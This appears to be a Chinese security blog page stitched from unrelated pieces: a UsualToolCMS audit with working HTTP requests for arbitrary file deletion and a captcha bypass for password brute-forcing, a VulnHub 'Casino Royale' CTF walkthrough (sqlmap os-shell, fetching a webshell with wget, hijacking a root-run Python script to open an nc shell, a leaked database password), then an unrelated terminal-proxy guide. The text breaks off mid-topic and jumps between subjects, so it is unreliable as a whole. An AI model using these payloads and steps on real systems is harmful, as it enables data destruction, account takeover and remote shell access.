Uscms代码审计

0x01 第一处:前台任意文件删除

漏洞信息:前台myup.php文件最后一段存在任意文件删除 代码:

漏洞点:http://xxx/myup.php

1

第47行只对..做了过滤,我仍然能任意删除网站内的文件,直接构造poc,

2

3

Burp POC:

4

POST /UsualToolCMS/myup.php HTTP/1.1
Host: 192.168.235.242
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
X-Forwarded-For: 8.8.8.8
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 25

get=delimg&imgurl=./1.php

0x02 绕过后台验证码爆破

漏洞点:http://xxx.xxx.xxx.xxx/cmsadmin/ 后台登陆时默认需要输入验证码,但是当我把验证码的参数ucode删除时,登陆依然成功

1.默认情况下登陆数据包

2-1

2-2

删除ucode参数和cookie后登陆,直接登陆成功

2-3

通过burp爆破后台密码

2-4

2-5

POST /UsualToolCMS/cmsadmin/a_login.php?do=login HTTP/1.1
Host: 192.168.235.242
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://192.168.235.242/UsualToolCMS/cmsadmin/a_login.php
X-Forwarded-For: 8.8.8.8
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 23

uuser=admin&upass=admin

0x03 后台GETSHELL

漏洞点:http://xxx.xxx.xxx.xxx/cmsadmin/a_lang.php 13行未对$lg做判断

Casino Royale: 1

难度:

Intermediate

关于:

Will you gain your status as a 00 agent?

题目地址:https://www.vulnhub.com/entry/casino-royale-1,287/#

Flags:

您的目标是获取root和Flag is /root/flag/flag.sh

Write Up:

0x01 获取root

1.通过nmap扫描靶机端口版本,发现存在四个端口:21、25、80、8081 nmap -sV x.x.x.x

2.我们从80端口入手,首先查看网页的源代码并无发现线索,其次对80端口进行目录爆破找到一个phpmyadmin的登陆页面和一个install dirb [url]

3.我们开打install页面出现这样一个界面,点击cliek to start install 后页面报错

4.存在install页面说明网站肯定存在这个cms,我们查找相关cms版本信息并获取到源代码且存在一个exp漏洞

5.翻开源代码后台路径是pokeradmin,并且发现登陆处并且未做sql注入防护

6.直接使用sqlmap跑取账户密码后getshell sqlmap.py -u 'http://192.168.235.140:80/pokeradmin/' --data='op=adminlogin&username=admin&password=admin' --level=5 --risk=3 --os-shell

7.将kali开一个apache把一句话放在/var/www/html中,然后在靶机的shell中运行wget

8.打开中国蚁剑或中国菜刀(效果是一样的)配置如下

9.getshell后我们先将数据库的账户密码保存下来 valenka:11archives11!

10.在一段查看后没有发现有价值的信息,查看8081端口,主页面有一个Run Data Collect的按钮,点击后访问到collect.php

11.因为我们已经拿到www-data的权限了所以我们可以通过find来查找collect.php,找到8081端口的主目录在/opt/casino-royale/ find / -name [name]

12.进入8081端口主目录后查看文件权限

13.查看权限后发现只有casino-data-collection.py这个文件我可以修改,cat查看文件内容,python文件打开了user-data.log继续查看里面内容与collect.php内容一样

14.继续查看collect.php,基本了解程序大概的过程和出题人的思路,collect.php为root权限只可读所以不能更改但是执行的casino-data-collection.py为www-data组所以可以修改,而casino-data-collection.py打开了user-data.log所以php读到了log的内容,所以我们只要修改python文件即可获取到le的权限 解题思路:在python文件中通过os模块执行系统命令返回nc拿到le权限

15.修改python后,再在浏览器重新打开页面靶机会开启一个带bash的1111端口,使用攻击机的nc连接,获取到le的权限

16.但是这是一个半交互式的页面无法切换账户,通过查阅资料可以通过python调用本地shell

echo "import pty; pty.spawn('/bin/bash')" > /tmp/asdf.py

python /tmp/asdf.py

让终端走代理的方法

把代理服务器地址写入shell配置文件.bashrc或者.zshrc

直接在.bashrc或者.zshrc添加下面内容

1.export http_proxy="http://localhost:port"
2.export https_proxy="http://localhost:port"

以使用shadowsocks代理为例,ss的代理端口为1080,那么应该设置为

1.export http_proxy="socks5://127.0.0.1:1080"
2.export https_proxy="socks5://127.0.0.1:1080"

或者直接设置ALL_PROXY

1.export ALL_PROXY=socks5://127.0.0.1:1080

localhost就是一个域名,域名默认指向 127.0.0.1,两者是一样的。

然后ESC后:wq保存文件,接着在终端中执行

source ~/.bashrc

或者退出当前终端再起一个终端。 这个办法的好处是把代理服务器永久保存了,下次就可以直接用了。

或者通过设置alias简写来简化操作,每次要用的时候输入setproxy,不用了就unsetproxy。

1.alias setproxy="export ALL_PROXY=socks5://127.0.0.1:1080"
2.alias unsetproxy="unset ALL_PROXY"
3.alias ip="curl -i http://ip.cn"